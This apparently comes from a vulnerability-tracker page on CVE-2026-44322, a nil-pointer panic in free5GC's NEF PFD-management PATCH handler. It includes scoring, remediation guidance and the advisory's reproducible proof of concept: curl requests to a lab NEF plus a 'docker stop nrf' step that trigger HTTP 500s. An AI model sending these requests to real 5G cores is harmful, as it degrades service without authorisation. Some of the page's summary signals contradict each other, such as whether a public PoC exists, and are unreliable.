Skip to main content

free5GC NEF EUVDEUVD-2026-32576

| CVE-2026-44322 HIGH
NULL Pointer Dereference (CWE-476)
2026-05-08 https://github.com/free5gc/free5gc GHSA-j59f-x285-69jx
7.5
CVSS 3.1 · Vendor: https://github.com/free5gc/free5gc
View

Attack ChainAIDerived

Hypothetical attack flow derived from CVE metadata – not a confirmed exploit chain

  1. Access
    Reach NEF SBI on network
  2. Delivery
    Create AF context and PFD transaction
  3. Exploit
    Wait for or coincide with UDR/NRF failure
  4. Execution
    Send single crafted PATCH to applications endpoint
  5. Persist
    Trigger nil-pointer dereference at pfd.go:622
  6. Impact
    Endpoint returns empty HTTP 500 (per-request degradation)

Vulnerability Assessment

Weakness
CWE
OWASP Top 10:2025
A10:2025 - Mishandling of Exceptional Conditions
ASVS 5.0
V16 - Security Logging and Error Handling Null pointer safety, defensive checks
MITRE ATT&CK

1 technique across 1 tactic: Impact

The technique list with ATT&CK links and the kill-chain view is part of the Basic plan and up.

Exploitation Conditions

Exploitation requires that upstream UDR access is already failing - i.e. AppDataPfdsAppIdGet returns a non-nil error together with a nil *ProblemDetails, which happens when NRF or UDR is unreachable, NEF registration is broken, or there is a transient network failure; the attacker does not control this precondition (hence AC:H). Given that state, the trigger is a single PATCH to /3gpp-pfd-management/v1/{afId}/transactions/{transId}/applications/{appId} against an existing AF context and PFD transaction. In v4.2.1 the 3gpp-pfd-management route group is mounted without inbound auth middleware, so the request needs no Authorization header (PR:N). Limiting factors: it only fires while UDR is independently broken, requires a pre-existing AF/transaction (also creatable unauthenticated in the lab), and Gin recovery contains the impact to the single request without killing the process - so there is no persistent outage.

Impact

Signals point to a low real-world priority despite the 7.5/High CVSS. The provided CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H yields 7.5, but the description's own author argues AC:H and only per-request availability impact - the published vector's AC:L and A:H appear overstated. Exploitation is second-order: it only triggers while UDR access is independently broken (NRF/UDR outage or transient network failure), a condition the attacker does not directly control, so the honest complexity is high. Impact is bounded - Gin recovery keeps the NEF process alive, other endpoints keep serving, and each malicious PATCH degrades only that one request (empty 500), with no confidentiality or persistent integrity impact. EPSS is 0.05% (15th percentile) and there is no KEV listing, consistent with low expected exploitation. A working PoC exists, but it demonstrates a controlled-error-becomes-500 degradation rather than a service-killing DoS. Net: real bug worth patching, but not an urgent widespread threat; treat the 7.5 as inflated relative to actual impact.

Exploit ScenarioDerived

During an NRF or UDR outage (or a transient core-network failure), an attacker who can reach the NEF SBI interface sends a single crafted PATCH to /3gpp-pfd-management/v1/{afId}/transactions/{transId}/applications/{appId} with no Authorization header, hitting the failing-UDR branch and triggering the nil-pointer panic so the endpoint returns an empty HTTP 500 instead of a controlled error. A complete, reproducible PoC is published (create AF context, create PFD transaction, stop NRF to simulate UDR failure, then PATCH), and the request is repeatable while the upstream condition persists.

This Week Schedule remediation this week. Why: HIGH severity (CVSS 7.0-8.9).
Patch available 0.0% exploitation probability (EPSS)

Get an e-mail when this CVE is exploited, patched or re-scored. Free account.

Alert me

AnalysisAIv1 – Jul 24, 2026

Denial-of-service (per-request) in free5GC's NEF component (v4.2.1) lets remote unauthenticated actors force HTTP 500 responses from the 3gpp-pfd-management PATCH applications endpoint. When upstream UDR access is failing, the handler dereferences a nil *ProblemDetails (reading problemDetails.Cause instead of the locally built problemDetailsErr.Detail) and panics; Gin recovery catches it, so the process survives but that request returns an empty 500 instead of a controlled error. A detailed publicly available exploit (PoC) exists; EPSS is very low (0.05%, 15th percentile) and the issue is not in CISA KEV.

RemediationAI

Vendor-released patch: free5GC v4.2.2 (NEF Go module 1.2.3) - upgrade the NEF component to at least nef 1.2.3, per PR https://github.com/free5gc/nef/pull/22 and commit https://github.com/free5gc/nef/commit/72a47f3fab4dffbd227f8d92c5f69dca93b610cb, which changes the panic line to read problemDetailsErr.Detail instead of the nil problemDetails.Cause. Review the advisory at https://github.com/free5gc/free5gc/security/advisories/GHSA-j59f-x285-69jx. If immediate upgrade is not possible, reduce exposure by placing the NEF SBI listener behind network controls so only trusted Application Function peers can reach the 3gpp-pfd-management routes (the route group ships without inbound auth middleware per free5gc/free5gc#858), and prioritize the reliability of NRF/UDR connectivity, since the panic only fires while UDR access is failing - improving core-network resilience removes the trigger condition. These are compensating controls only; the trade-off is that network ACLs require accurate knowledge of legitimate AF sources and do not fix the underlying nil dereference.

Affected VersionsENISA

Free5GC < 4.2.2

Affected Packages

go github.com/free5gc/nef fix: 1.2.3
euvd free5gc fix: 4.2.2

Source: OSV (Open Source Vulnerabilities)

Affects your stack

Affects 2 packages in go, euvd

Checking this CVE against your own stacks and servers is part of the Basic plan and up.

Technical ContextAI · show details

The affected code is the Go package github.com/free5gc/nef, the Network Exposure Function of the free5GC open-source 5G core. The bug lives in PatchIndividualApplicationPFDManagement (internal/sbi/processor/pfd.go around line 622) which consumes AppDataPfdsAppIdGet returning (data, *ProblemDetails, error). The switch's errPfdData!=nil branch correctly constructs a local problemDetailsErr but then calls c.Set(sbi.IN_PB_DETAILS_CTX_STR, problemDetails.Cause) - and in that branch problemDetails is nil by construction (the non-nil case already matched earlier), yielding the CWE-476 NULL pointer dereference. The root cause is a mishandled exceptional branch (CWE-754): the wrong variable is read. Compounding reachability, the 3gpp-pfd-management route group in v4.2.1 is mounted without inbound auth middleware (free5gc/free5gc#858), so the endpoint is reachable with no Authorization header.

Know when Docker gets its next vulnerability

  • Watch products and get an email when something new is published
  • Check this CVE against your own stack and servers
  • Exploit and PoC references, threat intelligence from 22 sources

No credit card · 7-day full trial

Severity by source

Vendor (https://github.com/free5gc/free5gc) PRIMARY 7.5 HIGH
AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
vuln.today AI 3.7 LOW

Network-reachable with no auth on the route (AV:N/PR:N), but requires an attacker-uncontrolled UDR-failure precondition (AC:H); Gin recovery limits impact to a single degraded request, so A:L and C/I:N.

3.1 AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:L
4.0 AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:N/VA:L/SC:N/SI:N/SA:N
SUSE HIGH

Primary rating from Vendor (https://github.com/free5gc/free5gc).

CVSS VectorVendor: https://github.com/free5gc/free5gc

Attack Vector
Network
Attack Complexity
Low
Privileges Required
None
User Interaction
None
Scope
Unchanged
Confidentiality
None
Integrity
None
Availability
High

DescriptionCVE.org

Summary

free5GC's NEF PATCH /3gpp-pfd-management/v1/{afId}/transactions/{transId}/applications/{appId} handler panics with a nil-pointer dereference when the upstream UDR call fails AND the consumer wrapper returns err != nil together with a nil *ProblemDetails. The handler's errPfdData != nil branch builds its own problemDetailsErr correctly, but immediately after it reads problemDetails.Cause (the OTHER value, which is nil in this branch) and panics. Gin recovery converts the panic into HTTP 500, so a single PATCH against this endpoint returns 500 instead of the intended controlled error response whenever UDR access is failing.

This is a second-order bug: the trigger requires UDR access to be failing (e.g. NRF or UDR is unreachable, registration broken, transient network failure). The attacker does not directly control that condition, so this is scored as AC:H. Once the upstream condition exists, the trigger is a single PATCH request and is repeatable.

The HTTP request itself in v4.2.1 is reachable without an Authorization header because the underlying NEF 3gpp-pfd-management route group is mounted without inbound auth middleware (see free5gc/free5gc#858). So in the validation lab the entire trigger chain is unauthenticated end-to-end.

Details

Validated against the NEF container in the official Docker compose lab.

  • Source repo tag: v4.2.1
  • Running Docker image: free5gc/nef:v4.2.1
  • Runtime NEF commit: 5ce35eab
  • Docker validation date: 2026-03-21 (container log timestamp 2026-03-21T03:06:36Z)
  • NEF endpoint: http://10.100.200.19:8000

Vulnerable handler logic in PatchIndividualApplicationPFDManagement (paraphrased):

go
pdfData, problemDetails, errPfdData := p.Consumer().AppDataPfdsAppIdGet(appID)

switch {
case problemDetails != nil:
    ...
case errPfdData != nil:
    problemDetailsErr := &models.ProblemDetails{
        Status: http.StatusInternalServerError,
        Detail: "Query to UDR failed",
    }
    c.Set(sbi.IN_PB_DETAILS_CTX_STR, problemDetails.Cause)   // <-- nil deref
    c.JSON(int(problemDetailsErr.Status), problemDetailsErr)
    return
}

In the errPfdData != nil branch, problemDetails is by construction nil (otherwise the first case would have matched). Reading problemDetails.Cause panics with runtime error: invalid memory address or nil pointer dereference. The intended value is presumably problemDetailsErr.Cause -- the locally constructed problem-details struct.

Code evidence (paths in free5gc/nef):

  • Patch handler core path:
  • NFs/nef/internal/sbi/processor/pfd.go:563
  • NFs/nef/internal/sbi/processor/pfd.go:610
  • Panic site (nil-deref on problemDetails.Cause):
  • NFs/nef/internal/sbi/processor/pfd.go:622
  • Route exposure / dispatch:
  • NFs/nef/internal/sbi/api_pfd.go:168
  • NFs/nef/internal/sbi/api_pfd.go:188

PoC

Reproduced end-to-end against the running NEF at http://10.100.200.19:8000. The trigger requires UDR access to be failing -- the lab simulates this by stopping NRF (so NEF's UDR client fails to discover/dial UDR). In production, equivalent triggers include NRF outages, UDR outages, or transient network failures.

  1. Create an AF context (no Authorization header):
curl -i -X POST 'http://10.100.200.19:8000/3gpp-traffic-influence/v1/afnpd3/subscriptions' \
  -H 'Content-Type: application/json' \
  --data '{"afAppId":"app-nef-npd3","anyUeInd":true}'
  1. Create a PFD-management transaction:
curl -i -X POST 'http://10.100.200.19:8000/3gpp-pfd-management/v1/afnpd3/transactions' \
  -H 'Content-Type: application/json' \
  --data '{"pfdDatas":{"appnpd3":{"externalAppId":"appnpd3","pfds":{"pfd1":{"pfdId":"pfd1","flowDescriptions":["permit in ip from 10.68.28.39 80 to any"]}}}}}'
  1. Make UDR access fail (lab simulation):
docker stop nrf
  1. Trigger the panic with one PATCH:
curl -i -X PATCH 'http://10.100.200.19:8000/3gpp-pfd-management/v1/afnpd3/transactions/1/applications/appnpd3' \
  -H 'Content-Type: application/json' \
  --data '{"externalAppId":"appnpd3","pfds":{"pfd1":{"pfdId":"pfd1","flowDescriptions":[]}}}'
HTTP/1.1 500 Internal Server Error
Content-Length: 0
  1. NEF container logs (docker logs --since 2026-03-21T03:06:36Z nef) confirm the nil-deref panic at pfd.go:622 inside PatchIndividualApplicationPFDManagement:
[INFO][NEF][PFDMng] PatchIndividualApplicationPFDManagement - scsAsID[afnpd3], transID[1], appID[appnpd3]
[ERRO][NEF][GIN] panic: runtime error: invalid memory address or nil pointer dereference
github.com/free5gc/nef/internal/sbi/processor.(*Processor).PatchIndividualApplicationPFDManagement
    .../pfd.go:622
github.com/free5gc/nef/internal/sbi.(*Server).apiPatchIndividualApplicationPFDManagement
    .../api_pfd.go:188
[INFO][NEF][GIN] | 500 | PATCH | /3gpp-pfd-management/v1/afnpd3/transactions/1/applications/appnpd3 |
  1. Restore for further testing:
docker start nrf

Impact

NULL pointer dereference (CWE-476) caused by improper handling of an exceptional branch (CWE-754): the errPfdData != nil branch reads problemDetails.Cause even though problemDetails is nil by construction in that branch (the prior case already matched the non-nil case). The intended target was the locally constructed problemDetailsErr.Cause.

Gin recovery catches the panic, so the NEF process is NOT killed and other endpoints continue serving. The realized impact is per-request: PATCH against this endpoint returns 500 (with empty body and a stack trace in NEF logs) instead of the intended controlled UDR-failure response, whenever upstream UDR access is failing.

No Confidentiality impact (the response is 500 with empty body). No persistent Integrity impact (the panic happens before any state mutation). Availability impact is limited to per-request degradation and only fires while UDR access is independently broken; the attacker does not directly control that precondition, so AC:H is the honest assessment.

Affected: free5gc v4.2.1.

Upstream issue: https://github.com/free5gc/free5gc/issues/925 Upstream fix: https://github.com/free5gc/nef/pull/22

Executive ViewAI

Why It Matters

free5GC's Network Exposure Function (NEF) component version 4.2.1 contains an unauthenticated denial-of-service vulnerability that forces HTTP 500 errors on the policy function discovery (PFD) management endpoint, disrupting service for 5G applications that depend on this function. Remote attackers can trigger the vulnerability with a single request, requiring no credentials or prior access. Organizations deploying free5GC should patch immediately to restore service reliability for dependent 5G applications.

Business Impact: High
Compensating Controls

Apply vendor patch.

Threat Intelligence Overview

EPSS Score
0.0%
Top 85% exploitable
Prevalence
Low
open-source 5G core, mainly research/lab and private-5G deployments
Threat Intel
1
1 source
Data Quality
6 sources
Confidence: High

How this decision was reached

The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.

SignalValue
Severity HIGH
CISA KEV No
Public POC No
EPSS 0.0%
Patch available Yes
Active threat No
Deciding rule
HIGH severity (CVSS 7.0-8.9)
What every action level means
Emergency Immediate action required. Criteria: CRITICAL + in CISA KEV (actively exploited) without patch, OR CRITICAL + EPSS > 30% without patch, OR CRITICAL + active threat signals without patch.
Act Now Prioritize within 24-48h. Criteria: in KEV with patch available, OR CRITICAL + public POC, OR HIGH + EPSS > 10%, OR CRITICAL + active threat, OR any CRITICAL severity.
This Week Schedule remediation this week. Criteria: HIGH severity (CVSS 7.0-8.9). Patch within normal change window.
This Month Plan within 30 days. Criteria: MEDIUM severity (CVSS 4.0-6.9), lower exploitation probability. Include in regular patch cycle.
Monitor Track and reassess. Criteria: LOW severity (CVSS 0.1-3.9), minimal exploitation risk. No immediate action needed.

SSVC AssessmentENISA

SSVC Decision· derived
Scheduled
Exploitation· derived
None
System Exposure· derived
Open
Automatable· derived
Yes
Human Impact
High

Priority Score

38
Low Medium High Critical
KEV: 0
EPSS: 0
CVSS: +38
PoC: 0
Weaponized: 0
Threat intel: 0
Gov advisory: 0

Attack Technique

A null pointer dereference occurs when a program attempts to access memory through a pointer that has been set to NULL (address 0x0).

Denial of Service attacks render applications or systems unavailable by overwhelming resources or triggering failure conditions.

More in Docker

View all
CVE-2024-55964 CRITICAL POC
9.8 Mar 26

An issue was discovered in Appsmith before 1.52. Rated critical severity (CVSS 9.8), this vulnerability is remotely expl

CVE-2019-5736 HIGH POC
8.6 Feb 11

runc through version 1.0-rc6 (used in Docker before 18.09.2) contains a container escape vulnerability that allows attac

CVE-2023-32077 HIGH POC
7.5 Aug 24

Netmaker makes networks with WireGuard. Rated high severity (CVSS 7.5), this vulnerability is remotely exploitable, no a

CVE-2026-39987 CRITICAL POC
9.3 Apr 08

Unauthenticated remote code execution in Marimo ≤0.20.4 allows attackers to execute arbitrary system commands via the `/

CVE-2023-5815 HIGH POC
8.1 Nov 22

The News & Blog Designer Pack - WordPress Blog Plugin - (Blog Post Grid, Blog Post Slider, Blog Post Carousel, Blog Post

CVE-2026-66384 MEDIUM POC
5.3 Aug 12

Path traversal in JFrog Artifactory (CWE-22) enables an authenticated low-privilege user to write data outside the inten

CVE-2014-9357 CRITICAL
10.0 Dec 16

Docker 1.3.2 allows remote attackers to execute arbitrary code with root privileges via a crafted (1) image or (2) build

CVE-2026-52806 CRITICAL POC
9.9 Jun 23

Remote code execution in Gogs through 0.14.2 allows authenticated users (and unauthenticated attackers on default-config

CVE-2025-14707 HIGH POC
8.9 Dec 15

Unauthenticated remote command injection in SGWBOX N3 firmware 2.0.25 lets attackers execute arbitrary operating-system

CVE-2026-56274 HIGH POC
8.7 Jun 23

Remote code execution in Flowise before 3.1.2 allows any authenticated user (or API caller with chatflow view/update per

CVE-2026-34156 CRITICAL POC
9.9 Mar 30

Remote code execution in NocoBase Workflow Script Node (npm @nocobase/plugin-workflow-javascript) allows authenticated l

CVE-2019-15752 HIGH POC
7.8 Aug 28

Docker Desktop Community Edition before 2.1.0.1 allows local users to gain privileges by placing a Trojan horse docker-c

Vendor StatusVendor

SUSE

Severity: Important
Product Status
SUSE Linux Enterprise Server 16.1 Affected
SUSE Linux Enterprise Server for SAP applications 16.1 Affected
SUSE Linux Enterprise Module for Package Hub 15 SP5 Affected
SUSE Linux Enterprise Module for Package Hub 15 SP6 Affected
openSUSE Leap 15.5 Affected

This site uses cookies essential for authentication and security. No tracking or analytics cookies are used. Privacy Policy